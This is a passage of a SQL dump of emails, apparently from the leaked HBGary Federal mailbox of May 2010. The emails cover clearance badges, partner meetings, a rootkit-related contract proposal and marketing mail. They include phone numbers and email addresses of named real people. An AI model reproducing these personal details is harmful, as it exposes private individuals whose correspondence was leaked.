iPad\r\n',4625,'aaron_hbgary_com/4625.html'),(5970,'2010-05-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004323.M54106P14101Q823.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Badge','Got it back today.  I also ran in to Al, Ray, and Wood.  Ray said he\r\nis going in to see the div chief tomorrow.\r\n\r\nThanks,\r\nAaron\r\n\r\nSent from my iPad\r\n',2088,'aaron_hbgary_com/2088.html'),(5971,'2010-05-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004323.M718389P14101Q826.eml','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>,\"Barr Aaron\" <aaron@hbgary.com>','Updated','Updated.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15827,'aaron_hbgary_com/15827.html'),(5972,'2010-05-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004323.M947976P14101Q827.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>','Re: Question','Hi Dan,\r\n\r\nSorry I got slammed.\r\n\r\nHow about another time in the next few days?\r\n\r\nAaron\r\n\r\nOn May 3, 2010, at 4:13 PM, Daniel Ingevaldson wrote:\r\n\r\n> Hey Aaron--how about 1pm or 2pm tomorrow?\r\n> \r\n> -d\r\n> \r\n> On May 3, 2010, at 3:55 PM, Aaron Barr wrote:\r\n> \r\n>> Great.  Thanks Chris.\r\n>> \r\n>> Dan,  please let me know some good times to call.\r\n>> \r\n>> Aaron\r\n>> On May 3, 2010, at 3:44 PM, Chris Rouland wrote:\r\n>> \r\n>>> We are currently offering it for Net Defense and Incident Response as well as Cyber ISR.   Free may to set up a call with Dan Ingevaldson, our COO who is working on NetD and Commercial applications for our cayman program.    CC\'d here.\r\n>>> \r\n>>> Thanks\r\n>>> \r\n>>> On May 3, 2010, at 3:42 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hey Chris,\r\n>>>> \r\n>>>> I was talking with Greg and Penny about Incident Response and they brought up a conversation they had with you a while back related to infected IP addresses you had visibility in to.  Are you interested in talking about how that data might be used to support Net Defense or Incident Response?  Right now developing a process for proceduralized incident response and finding the most effective methods.\r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> \r\n> ---------------------------------\r\n> Daniel S. Ingevaldson, COO\r\n> Endgame Systems, LLC\r\n> dsi@endgames.us\r\n> (w)404-781-2955\r\n> (f)404-781-2951\r\n> (m)404-992-9449\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12282,'aaron_hbgary_com/12282.html'),(5973,'2010-05-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004324.M182152P14101Q828.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>,','Re: NDA and Collaboration','Arnav,I had a good talk with Rafal last week and we agreed to try and set up a capabilities demo within a week or so followed by a in-person discussion when he comes to DC in a few weeks. &nbsp;How does this Thursday or Friday work for a webex cross capabilities demo?Aaron BarrCEOHBGary FederalOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:Dear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.We would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1A 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: April 9, 2010 3:40:07 PM EDTTo: N.villeneuve@secdev.caCc: Ted Vera &lt;ted@hbgary.com&gt;Subject: NDA and CollaborationNart,It was very nice talking with you at the Palantir conference. &nbsp;I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.How often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14141,'aaron_hbgary_com/14141.html'),(5974,'2010-05-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004324.M414113P14101Q829.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Badged','FYI,\r\n\r\nAnother step in the process completed.  I just got my community badge back today.  Now I can walk into the IC customers bldgs without prior notice and clearance.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9534,'aaron_hbgary_com/9534.html'),(5975,'2010-05-04','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004324.M716093P14101Q830.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: NDA and Collaboration','Hi Aaron,Thanks for your email. Our executive team won\'t be available to do a capabilities brief to you, but we would be happy to receive one from HBGary and then plan for a reciprocal SecDev one soon. This Thursday/Friday should be fine, let me know 2 or 3 good timeslots and I\'ll spin up our development team.Best wishes,Arnav\r\n\r\nOn 2010-05-04, at 4:25 PM, Aaron Barr wrote:Arnav,I had a good talk with Rafal last week and we agreed to try and set up a capabilities demo within a week or so followed by a in-person discussion when he comes to DC in a few weeks. &nbsp;How does this Thursday or Friday work for a webex cross capabilities demo?Aaron BarrCEOHBGary FederalOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:Dear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.We would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1A 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: April 9, 2010 3:40:07 PM EDTTo: N.villeneuve@secdev.caCc: Ted Vera &lt;ted@hbgary.com&gt;Subject: NDA and CollaborationNart,It was very nice talking with you at the Palantir conference. &nbsp;I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.How often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7475,'aaron_hbgary_com/7475.html'),(5976,'2010-05-04','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297004324.M929455P14101Q831.eml','aaron@hbgary.com','Delivery Status Notification (Delay)','This is an automatically generated Delivery Status Notification\r\n\r\nTHIS IS A WARNING MESSAGE ONLY.\r\n\r\nYOU DO NOT NEED TO RESEND YOUR MESSAGE.\r\n\r\nDelivery to the following recipient has been delayed:\r\n\r\n     len@keycorp.com\r\n\r\nMessage will be retried for 2 more day(s)\r\n\r\nTechnical details of temporary failure: \r\nDNS Error: Could not contact DNS servers\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.151.5.11 with SMTP id h11mr9516049ybi.111.1272919103176;\r\n        Mon, 03 May 2010 13:38:23 -0700 (PDT)\r\nReturn-Path: \r\nReceived: from [192.168.1.149] (ip98-169-66-87.dc.dc.cox.net [98.169.66.87])\r\n        by mx.google.com with ESMTPS id 21sm4563985iwn.7.2010.05.03.13.38.20\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Mon, 03 May 2010 13:38:21 -0700 (PDT)\r\nFrom: Aaron Barr \r\nContent-Type: multipart/signed; boundary=Apple-Mail-2-406639739; protocol=\"application/pkcs7-signature\"; micalg=sha1\r\nSubject: Capabilities Discussion\r\nDate: Mon, 3 May 2010 16:38:19 -0400\r\nMessage-Id: \r\nTo: len@keycorp.com\r\nMime-Version: 1.0 (Apple Message framework v1078)\r\nX-Mailer: Apple Mail (2.1078)\r\n\r\nHi Len,\r\n\r\nAlthough I am not sure if we ever met we have I think numerous mutual business relationships.  In my previous position I was a Technical Director with Northrop Grumman for Cyber and SIGINT, transitioning about 5 months ago.  Art Money suggested I talk with you at that point.  At the time I had already decided to start up a services sister company focused on information operations, incident response and threat detection.  I had lunch with Tom Conroy last week and we were talking about cyber and he suggested I should get in touch with you to discuss possible opportunities.\r\n\r\nIf interested let me know when are some good dates to try and get together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9289,'aaron_hbgary_com/9289.html'),(5977,'2010-05-04','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297004325.M160743P14101Q832.eml','\"Aaron Barr\" <aaron@hbgary.com>','Michael Edwards has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Michael are now connected.\r\n\r\n \r\n   \r\n   View Michael\'s profile to:\r\n     \r\n       Download Michael\'s current contact information\r\n       Write a recommendation for Michael\r\n       Find opportunities through Michael\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/fpf/18762080/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',4780,'aaron_hbgary_com/4780.html'),(5978,'2010-05-04','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>','/aaron@hbgary.com/new/1297004325.M375391P14101Q833.eml','\"Ted Vera\" <ted@hbgary.com>,\"Spiller, John F.\" <John.Spiller@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: HBGary Approval','\r\n\r\n\r\n\r\n\r\nFW: HBGary Approval\r\n\r\n\r\n\r\n\r\nGood news&#8230;.bad news is I think we&#8217;re too late to the party&#8230;.\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Moore, Richard L.\r\nSent: Tuesday, May 04, 2010 5:49 AM\r\nTo: Thompson, Bill M.\r\nSubject: HBGary Approval\r\n\r\n\r\n\r\nAaron Barr was approved.\r\n\r\nPlease let me know if we are going to proceed so I can make arrangements to brief.\r\n\r\nI will need his contact information and his security POC contact information so they can send us a visit cert if we are going to move out on this proposal that is due 21 May 10.\r\n\r\nRich Moore\r\n\r\nSr. Lead Security Specialist\r\n\r\nGENERAL DYNAMICS\r\n\r\nAdvanced Information Systems, Inc.\r\n\r\n&nbsp;\r\n\r\n(650) 966-2211 Work\r\n\r\n1-888-559-0045 Pager\r\n\r\nGDAIS PRIVATE:The information attached or contained within includes Personal Information under General Dynamics policy CP 07-706.&nbsp; This information can be accessed only by authorized personnel of General Dynamics and its approved service providers and may be used only as permitted by General Dynamics and its policies.Contractual restrictions apply to third parties.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3278,'aaron_hbgary_com/3278.html'),(5979,'2010-05-04','\"MB Toth\" <mbt.rbtoth@starpower.net>','/aaron@hbgary.com/new/1297004325.M681926P14101Q834.eml','\"Ted Vera\" <tedvera@mac.com>,\"Aaron Barr\" <adbarr@mac.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: Intelligence Community Executive Forum: Shaping the Comprehensive National Cybersecurity Initiative','\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed, Aaron,\r\n\r\n&nbsp;&nbsp;&nbsp; Hopefully you are on distro for these types of events, but might be\r\nof interest.\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; I\'ll be at DoDIIS again this year, in Phoenix, and will keep my\r\nears tuned out there.\r\n\r\n&nbsp;&nbsp;&nbsp; Let\'s get together now that it\'s warming up,\r\n\r\n&nbsp;&nbsp;&nbsp; Mike\r\n________________________________________\r\nFrom: Brian Snell [brian.snell@carahsoft.com]\r\nSent: Tuesday, May 04, 2010 10:52\r\nTo: Michael Toth\r\nSubject: Intelligence Community Executive Forum: Shaping the Comprehensive National Cybersecurity Initiative\r\n\r\nTo view an online version of this email, click here.\r\n\r\nThe Role of Industry and Commercial Technologies in Addressing the\r\nComprehensive National Cybersecurity Initiative\r\n\r\nWith the Intelligence Community Executive Forum coming up in a few weeks, we are excited to announce our keynote and panel speakers!\r\n\r\nJoin us&lt;http://marketing.carahsoft.com/t/12313263/454850657/54057158/0/?c4e129f6=NS0zIElDRUYgUGFzdCBBdHRlbmRlZSBCbGFzdA%3d%3d&amp;x=112b611a&gt; as we welcome Lieutenant General Keith B. Alexander, Director, NSA and Chief, CSS, senior government thought leaders, and guest panelists from the IT industry for a complimentary seminar where we will discuss the key role of industry and commercial technologies in addressing the Comprehensive National Cybersecurity Initiative.\r\n\r\nForum Agenda:\r\n\r\n7:30am - 8:00am\r\n\r\n\r\nRegistration &amp; Breakfast\r\n\r\n\r\n8:00am - 9:00am\r\n\r\n\r\nWelcome and Morning Keynote\r\nLieutenant General Keith B. Alexander, Director, NSA and Chief, CSS\r\n\r\n\r\n9:00am - 9:45am\r\n\r\n\r\nInformation Overload and Situational Awareness\r\nGovernment Panelist: Sherri Ramsay, Chief of the NTOC (NSA Threat Operations Center)\r\nIndustry Panelists:\r\nMarc Breissinger, Executive Vice President, Composite Software\r\nBrian Frutchey, Technical Director, Endeca\r\nKevin Griffith, District Manager, DOD and Intelligence, Informatica\r\n\r\n\r\n9:45am-10:30am\r\n\r\n\r\nInformation Sharing and Collaboration for Cyber Operations\r\nGovernment Panelist: Jim Bieda, Deputy Chief Technology Officer, NSA\r\nIndustry Panelists:\r\nJim Kovach, Director of Federal Operations, Jive Software\r\n\r\n\r\n10:30am - 11:15am\r\n\r\n\r\nSecuring the Cloud\r\nGovernment Panelist:\r\nRobert Vietmeyer, Director, Forge.mil, DISA\r\nIndustry Panelists:\r\nRob Randell, CISSP, Senior Security and Compliance Specialist, VMware\r\nSteve Armentrout, President and CEO, Parabon\r\nFran Trentley, Senior Service Line Director, Akamai\r\n\r\n\r\n11:15am - 12:00pm\r\n\r\n\r\nNetworking Break and Exhibits\r\n\r\n\r\n12:00pm - 1:00pm\r\n\r\n\r\nLunch Keynote\r\nTony Sager, Chief of Vulnerability Analysis and Operations, NSA\r\n\r\n\r\n1:00pm - 1:45pm\r\n\r\n\r\nEfficiently Automating Security with Industry Best Practices and Tools\r\nIndustry Panelists:\r\nDoug Cahill, VP of Corporate Development and Product Management, Bit9\r\nFred Unterberger, Senior Manager, Sales Engineering, Symantec\r\nFrank Hecker, Government Sales Engineer,  IronKey\r\n\r\n\r\n1:45pm - 2:00pm\r\n\r\n\r\nQ+A Session and Closing\r\n\r\n\r\n\r\nVisit our website&lt;http://marketing.carahsoft.com/t/12313263/454850657/54057159/0/?c4e129f6=NS0zIElDRUYgUGFzdCBBdHRlbmRlZSBCbGFzdA%3d%3d&amp;x=a67c357f&gt; for more information including full agenda and speaker bios.\r\n\r\nQuestions? Contact us.\r\n888-66-CARAH (Toll-Free)\r\nicef@carahsoft.com&lt;mailto:icef@carahsoft.com&gt;\r\n\r\n[http://www.carahsoft.com/file/Logos-for-invite_3.gif]\r\n\r\n\r\n\r\n\r\n\r\n\r\nIntelligence Community Executive Forum\r\n\r\nDate: May 13, 2010\r\n\r\nTime: 8am - 2pm EDT\r\n\r\nLocation:\r\nSheraton Columbia Town Center\r\nColumbia, MD\r\nDirections\r\n&lt;http://marketing.carahsoft.com/t/12313263/454850657/54046720/0/?c4e129f6=NS0zIElDRUYgUGFzdCBBdHRlbmRlZSBCbGFzdA%3d%3d&amp;x=92bbaca1&gt;\r\n\r\n[http://www.carahsoft.com/images/email-register.gif]&lt;http://marketing.carahsoft.com/t/12313263/454850657/54057158/0/?c4e129f6=NS0zIElDRUYgUGFzdCBBdHRlbmRlZSBCbGFzdA%3d%3d&amp;x=112b611a&gt;\r\n\r\n\r\n\r\nShare this e-mail: [http://content.carahsoft.com/share/facebook.png] &lt;http://marketing.carahsoft.com/t/12313263/454850657/54058198/0/?b44ed14b=Y2E1ZDE2Y2QzOTRkOWY0M2I0N2JmMWJiNmU2ODUxOTg%3d&amp;c4e129f6=NS0zIElDRUYgUGFzdCBBdHRlbmRlZSBCbGFzdA%3d%3d&amp;x=a3245268&gt;  [http://content.carahsoft.com/share/twitter.png] &lt;http://marke\r\nting.carahsoft.com/t/12313263/454850657/54058199/0/?b44ed14b=Y2E1ZDE2Y2QzOTRkOWY0M2I0N2JmMWJiNmU2ODUxOTg%3d&amp;c4e129f6=NS0zIElDRUYgUGFzdCBBdHRlbmRlZSBCbGFzdA%3d%3d&amp;x=25fb5e20&gt;  [http://content.carahsoft.com/share/myspace.png] &lt;http://marketing.carahsoft.com/t/12313263/454850657/54058200/0/?b44ed14b=Y2E1ZDE2Y2QzOTRkOWY0M2I0N2JmMWJiNmU2ODUxOTg%3d&amp;c4e129f6=NS0zIElDRUYgUGFzdCBBdHRlbmRlZSBCbGFzdA%3d%3d&amp;x=1e38b8b7&gt;  [http://content.carahsoft.com/share/delicious.png] &lt;http://marketing.carahsoft.com/t/12313263/454850657/54058201/0/?b44ed14b=Y2E1ZDE2Y2QzOTRkOWY0M2I0N2JmMWJiNmU2ODUxOTg%3d&amp;c4e129f6=NS0zIElDRUYgUGFzdCBBdHRlbmRlZSBCbGFzdA%3d%3d&amp;x=6d5c296a&gt;  [http://content.carahsoft.com/share/digg.png] &lt;http://marketing.carahsoft.com/t/12313263/454850657/54058202/0/?b44ed14b=Y2E1ZDE2Y2QzOTRkOWY0M2I0N2JmMWJiNmU2ODUxOTg%3d&amp;c4e129f6=NS0zIElDRUYgUGFzdCBBdHRlbmRlZSBCbGFzdA%3d%3d&amp;x=6e6bb17c&gt;\r\n\r\n\r\n\r\nClick here&lt;http://content.carahsoft.com/htmlEditor/redirectMessageID.asp?FileID=18404f38-d158-483b-8193-09594e4e6159&amp;memberid=454850657&amp;messageid=12313263&gt; to forward this mailing with your personal message.\r\n\r\n\r\nThis email was sent to: mtoth@eaglerayinc.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here&lt;http://tracking.carahsoft.com/u?id=454850657.6d711340d3f98574f0b46da6311204fa&amp;o=12313263&amp;l=carahsoft-vmware+carahsoft-adobe+carahsoft-intel+carahsoft-open-source+carahsoft-sap-hp-software+carahsoft-storage&gt; to leave this mailing list.\r\n        [http://content.carahsoft.com/spacer.gif]\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6457,'aaron_hbgary_com/6457.html'),(5980,'2010-05-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004325.M928339P14101Q835.eml','\"Bob Slapnik\" <bob@hbgary.com>','Topic','Bob,\r\n\r\nFloat the topic:\r\nSocial media, exploitation, and persistent Internet operations\r\n\r\nTell Scott I would like to come up and briefly talk to him about the\r\nsubject andy creds doing this for government.  Tell him I have a green\r\nbadge now.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',11515,'aaron_hbgary_com/11515.html'),(5981,'2010-05-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004326.M161746P14101Q836.eml','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>','Re: HBGary Approval','We have a brainstorming call scheduled this week with Greg and some of our rootkit specialists to talk architecures and tech approach. Did GD decide to nobid?Ted \r\nOn May 4, 2010, at 4:28 PM, &quot;Thompson, Bill M.&quot; &lt;Bill.Thompson@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGood news….bad news is I think we’re too late to the party….\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Moore, Richard L.\r\n\r\nSent: Tuesday, May 04, 2010 5:49 AM\r\n\r\nTo: Thompson, Bill M.\r\n\r\nSubject: HBGary Approval\r\n\r\n\r\n\r\n\r\nAaron Barr was approved.\r\n\r\nPlease let me know if we are going to proceed so I can make arrangements to brief.\r\n\r\nI will need his contact information and his security POC contact information so they can send us a visit cert if we are going to move out on this proposal that is due 21 May 10.\r\n\r\n\r\nRich Moore\r\n\r\nSr. Lead Security Specialist\r\n\r\nGENERAL DYNAMICS\r\n\r\n\r\nAdvanced Information Systems, Inc.\r\n\r\n\r\n \r\n\r\n(650) 966-2211 Work\r\n\r\n1-888-559-0045 Pager\r\n\r\nGDAIS PRIVATE:The information attached or contained within includes Personal Information under General Dynamics policy CP 07-706.  This information can be accessed only by authorized personnel of General Dynamics and its approved service providers and may be used only as permitted by General Dynamics and its policies.Contractual restrictions apply to third parties.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6917,'aaron_hbgary_com/6917.html'),(5982,'2010-05-05','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>','/aaron@hbgary.com/new/1297004326.M393634P14101Q837.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: HBGary Approval','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nEven if we nobid, I know the customer and will try to find a way\r\nto &nbsp;talk to them on the side and try and get some side work without going\r\nthrough their formal bid process.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBottom line is it looks grim that we&#8217;ll bid given the due date\r\nand that we&#8217;ll be in testing for the next two weeks&#8230;.ghaaaa!&nbsp; It&#8217;s a tease that\r\nAaron was approved.&nbsp; Perhaps he can go commando style and write it himself J&nbsp;\r\nActually, I&#8217;ll talk to John and see what he says.&nbsp; Given Aaron is approved, I\r\nmight be able to commit a week and half with him to write it up if he can do\r\nthe same&#8230;ug, it&#8217;s pretty last minute though man&#8230;\r\n\r\n&nbsp;\r\n\r\nI&#8217;ll keep you posted. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, May 04, 2010 7:34 PM\r\nTo: Thompson, Bill M.\r\nSubject: Re: HBGary Approval\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWe have a brainstorming call scheduled this week with Greg\r\nand some of our rootkit specialists to talk architecures and tech approach. Did\r\nGD decide to nobid?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 4, 2010, at 4:28 PM, &quot;Thompson, Bill M.&quot; &lt;Bill.Thompson@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nnews&#8230;.bad news is I think we&#8217;re too late to the party&#8230;.\r\n\r\n_____________________________________________\r\nFrom: Moore, Richard L.\r\nSent: Tuesday, May 04, 2010 5:49 AM\r\nTo: Thompson, Bill M.\r\nSubject: HBGary Approval\r\n\r\nAaron Barr was approved.\r\n\r\nPlease let me know if we\r\nare going to proceed so I can make arrangements to brief.\r\n\r\nI will need his contact\r\ninformation and his security POC contact information so they can send us a\r\nvisit cert if we are going to move out on this proposal that is due 21 May 10.\r\n\r\nRich Moore\r\n\r\nSr. Lead Security Specialist\r\n\r\nGENERAL\r\nDYNAMICS\r\n\r\nAdvanced Information Systems, Inc.\r\n\r\n&nbsp;\r\n\r\n(650) 966-2211 Work\r\n\r\n1-888-559-0045 Pager\r\n\r\nGDAIS PRIVATE:The information\r\nattached or contained within includes Personal Information under General\r\nDynamics policy CP 07-706.&nbsp; This information can be accessed only by\r\nauthorized personnel of General Dynamics and its approved service providers and\r\nmay be used only as permitted by General Dynamics and its policies.Contractual\r\nrestrictions apply to third parties.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6923,'aaron_hbgary_com/6923.html'),(5983,'2010-05-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004326.M970745P14101Q838.eml','\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>,\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>,','Re: HBGary Approval','I understand Bill, especially trying to get everything through the review and approval process, it would be extremely tight. Let us know what you decide. We&#39;ll support an unsolicited / side deal if that&#39;s the desired approach. \r\nTedOn May 4, 2010, at 10:01 PM, &quot;Thompson, Bill M.&quot; &lt;Bill.Thompson@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nEven if we nobid, I know the customer and will try to find a way\r\nto  talk to them on the side and try and get some side work without going\r\nthrough their formal bid process.  \r\n\r\n \r\n\r\nBottom line is it looks grim that we’ll bid given the due date\r\nand that we’ll be in testing for the next two weeks….ghaaaa!  It’s a tease that\r\nAaron was approved.  Perhaps he can go commando style and write it himself J \r\nActually, I’ll talk to John and see what he says.  Given Aaron is approved, I\r\nmight be able to commit a week and half with him to write it up if he can do\r\nthe same…ug, it’s pretty last minute though man…\r\n\r\n \r\n\r\nI’ll keep you posted. \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, May 04, 2010 7:34 PM\r\nTo: Thompson, Bill M.\r\nSubject: Re: HBGary Approval\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWe have a brainstorming call scheduled this week with Greg\r\nand some of our rootkit specialists to talk architecures and tech approach. Did\r\nGD decide to nobid?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 4, 2010, at 4:28 PM, &quot;Thompson, Bill M.&quot; &lt;Bill.Thompson@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nnews….bad news is I think we’re too late to the party….\r\n\r\n_____________________________________________\r\nFrom: Moore, Richard L.\r\nSent: Tuesday, May 04, 2010 5:49 AM\r\nTo: Thompson, Bill M.\r\nSubject: HBGary Approval\r\n\r\nAaron Barr was approved.\r\n\r\nPlease let me know if we\r\nare going to proceed so I can make arrangements to brief.\r\n\r\nI will need his contact\r\ninformation and his security POC contact information so they can send us a\r\nvisit cert if we are going to move out on this proposal that is due 21 May 10.\r\n\r\nRich Moore\r\n\r\nSr. Lead Security Specialist\r\n\r\nGENERAL\r\nDYNAMICS\r\n\r\nAdvanced Information Systems, Inc.\r\n\r\n \r\n\r\n(650) 966-2211 Work\r\n\r\n1-888-559-0045 Pager\r\n\r\nGDAIS PRIVATE:The information\r\nattached or contained within includes Personal Information under General\r\nDynamics policy CP 07-706.  This information can be accessed only by\r\nauthorized personnel of General Dynamics and its approved service providers and\r\nmay be used only as permitted by General Dynamics and its policies.Contractual\r\nrestrictions apply to third parties.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10757,'aaron_hbgary_com/10757.html'),(5984,'2010-05-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004327.M178108P14101Q839.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Topic','Got it.  I\'ll let you know after I\'ve spoken with Scott.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 04, 2010 7:25 PM\r\nTo: Bob Slapnik\r\nSubject: Topic\r\n\r\nBob,\r\n\r\nFloat the topic:\r\nSocial media, exploitation, and persistent Internet operations\r\n\r\nTell Scott I would like to come up and briefly talk to him about the\r\nsubject andy creds doing this for government.  Tell him I have a green\r\nbadge now.\r\n\r\nAaron\r\n\r\n From my iPhone\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2851 - Release Date: 05/04/10\r\n14:27:00\r\n\r\n',15503,'aaron_hbgary_com/15503.html'),(5985,'2010-05-05','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','/aaron@hbgary.com/new/1297004327.M379985P14101Q840.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Feedback','I would like to talk more about this.  Bob is going to be testing the\r\nfiles you gave us to see if it works for us.\r\n\r\nWe will be in touch after he has a conclusion.\r\n\r\nMatt \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, May 03, 2010 10:29 